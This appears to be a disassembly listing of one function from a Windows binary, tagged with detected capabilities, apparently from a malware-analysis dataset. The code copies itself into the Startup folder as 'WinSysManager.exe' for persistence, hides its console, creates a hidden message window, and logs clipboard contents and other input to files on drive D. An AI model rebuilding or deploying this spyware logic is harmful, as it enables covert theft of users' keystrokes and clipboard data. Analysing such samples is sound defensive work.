Function at 0x401ac8
Capabilities:
Copy file
Hide graphical window
Query environment variable
Write file on windows

Disassembly:
push rbp
sub rsp, 0x330
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x180]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rcx, str.APPDATA
call sym.getenv
mov qword [rbp + 0x2a8], rax
mov rdx, qword [rbp + 0x2a8]
lea rax, [rbp + 0x70]
mov r8, rdx
lea rdx, str._sMicrosoftWindowsStart_MenuProgramsStartupWinSysManager.exe
mov rcx, rax
call sym.sprintf
lea rdx, [rbp + 0x70]
lea rax, [rbp + 0x180]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
je 0x401b5a
lea rcx, str.Program_successfully_copied_to_Windows_startup_folder.
call sym.puts
jmp 0x401b66
lea rcx, str.Failed_to_copy_program_to_Windows_startup_folder.
call sym.puts
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, str.D:clip.txt
mov qword [rbp + 0x298], rax
movabs rax, 0x74736d6f646e6172
mov qword [rbp + 0x62], rax
mov dword [rbp + 0x6a], 0x676e6972
mov word [rbp + 0x6e], 0x31
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x290], rax
lea rax, [rbp + 0x10]
mov r8d, 0x50
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x10], 0x50
lea rax, [sym.wp]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x290]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x62]
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RegisterClassExA]
call rax
test ax, ax
jne 0x401c4f
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1e
mov edx, 1
lea rcx, str.Can_not_register_window_class.
call sym.fwrite
mov eax, 0
jmp 0x401e01
lea rax, [rbp + 0x62]
mov qword [rsp + 0x58], 0
mov rdx, qword [rbp + 0x290]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0xfffffffffffffffd
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExA]
call rax
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
jne 0x401cfa
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x16
mov edx, 1
lea rcx, str.Can_not_create_window.
call sym.fwrite
mov eax, 0
jmp 0x401e01
lea rdx, [0x0040521e]
lea rcx, str.D:winlogs.txt
call sym.fopen
mov rdx, rax
lea rax, [0x00408970]
mov qword [rax], rdx
lea rax, [0x00408970]
mov rax, qword [rax]
test rax, rax
jne 0x401d49
lea rdx, [0x0040522f]
lea rcx, str.D:winlogs
call sym.fopen
mov rdx, rax
lea rax, [0x00408970]
mov qword [rax], rdx
lea rax, [0x00408970]
mov rax, qword [rax]
test rax, rax
jne 0x401db6
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.Can_not_create_log.txt_file.
call sym.fwrite
mov eax, 0xffffffff
jmp 0x401e01
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
mov rax, qword [rbp + 0x298]
mov rcx, rax
call sym.saveClipboardDataToFile
lea rax, [rbp - 0x20]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
jg 0x401d87
lea rax, [0x00408970]
mov rax, qword [rax]
test rax, rax
je 0x401dfc
lea rax, [0x00408970]
mov rax, qword [rax]
mov rcx, rax
call sym.fclose
mov eax, 0
add rsp, 0x330
pop rbp
ret